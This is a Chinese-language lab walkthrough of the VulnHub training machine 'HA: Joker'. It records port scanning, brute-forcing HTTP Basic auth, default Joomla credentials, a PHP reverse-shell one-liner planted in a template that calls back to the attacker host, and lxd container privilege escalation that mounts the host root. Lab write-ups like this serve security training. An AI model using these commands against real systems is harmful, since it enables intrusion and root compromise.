环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://www.vulnhub.com/entry/ha-joker,379/

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.138

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.138

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sS -A -p1-65535 -T4 -O -sV 192.168.52.138

扫描结果如下:系统开放了两个 HTTP 服务(80 端口和 8080 端口)、一个 SSH 服务(22 端口)

1
2
3
4
5
6
7
8
9
10
11
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Please enter the password.

敏感信息泄露

首先访问 80 端口的 web 服务,主界面没啥有用的信息,使用 dirsearch 扫一下目录,扫到两个路径,/phpinfo.php 和 /secret.txt

phpinfo.php 没啥有用的信息,secret.txt 内容如下:

1
2
3
4
5
Batman hits Joker.
Joker: "Bats you may be a rock but you won't break me." (Laughs!)
Batman: "I will break you with this rock. You made a mistake now."
Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock."
Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!"

账密爆破

访问 8080 端口,需要登陆,根据 secret.txt 的内容,要用 rockyou 字典去爆破用户名为 joker 的密码

bp 抓包,发现网站通过 Authorization 请求头进行认证,同时传输一个 base64 编码的 账号:密码,我们按照同样的格式进行爆破(先加个 joker: 前缀,再 base64 编码)

爆破完后按照长度排序找到不同的回显,将 payload 解码即可得到正确的账号密码 joker:hannah

框架弱口令

登陆后发现是 Joomla 框架,Joomla 框架的网页在登录的时候会有一个超级管理员的默认账号密码是 joomla/joomla,尝试使用弱口令成功登录

登陆后只有一个正常的界面,没有明显的功能入口。使用 dirsearch 进行目录扫描,由于网站使用了 Basic 认证机制,扫描时需要添加认证信息。扫描命令如下:

1
python dirsearch.py --auth-type=basic --auth=joker:hannah -u http://192.168.52.129:8080/

扫到一个 /administrator/ 路由,访问是后台登陆界面,再次使用默认账号密码 joomla/joomla 登陆,进入后台

漏洞利用

插件命令执行

后台 Extensions -> Templates -> Templates 处有两个插件,可以选择一个查看源码并编辑,在插件根目录写一个反弹 shell 的命令,php 反弹 shell 命令如下,命名为 shell.php 并保存

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.128/2233 0>&1'");?>

访问插件所在地址,地址如下:

1
http://192.168.52.138:8080/templates/protostar/shell.php

攻击机开启监听,拿到网站 shell

权限提升

id 命令发现用户处于 lxd 组中,尝试进行 lxd 提权

首先本机下载 Alpine 镜像,地址如下

1
https://github.com/saghul/lxd-alpine-builder

下载后在 lxd-alpine-builder 目录中有 alpine-v3.13-x86_64-20210218_0139.tar.gz,如果没有就自行编译,然后在当前目录使用 python 开一个 http 服务,让靶机下载该镜像文件

1
2
3
python -m http.server 6666  # 本地启动HTTP服务

wget http://192.168.52.128:6666/alpine-v3.13-x86_64-20210218_0139.tar.gz # 目标主机下载

下载后依次使用如下命令导入镜像、创建容器、挂载宿主机根目录并进入容器

1
2
3
4
5
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage    # 导入镜像
lxc init myimage test -c security.privileged=true # 创建特权容器(容器名 test,基于镜像 myimage)
lxc config device add test shellroot disk source=/ path=/mnt/root recursive=true # 挂载宿主机根目录(设备名 shellroot)
lxc start test # 启动容器
lxc exec test /bin/sh # 进入容器Shell

这里的 /mnt/root/ 就是靶机的根目录,可以查看任意文件,在 root 目录下发现 final.txt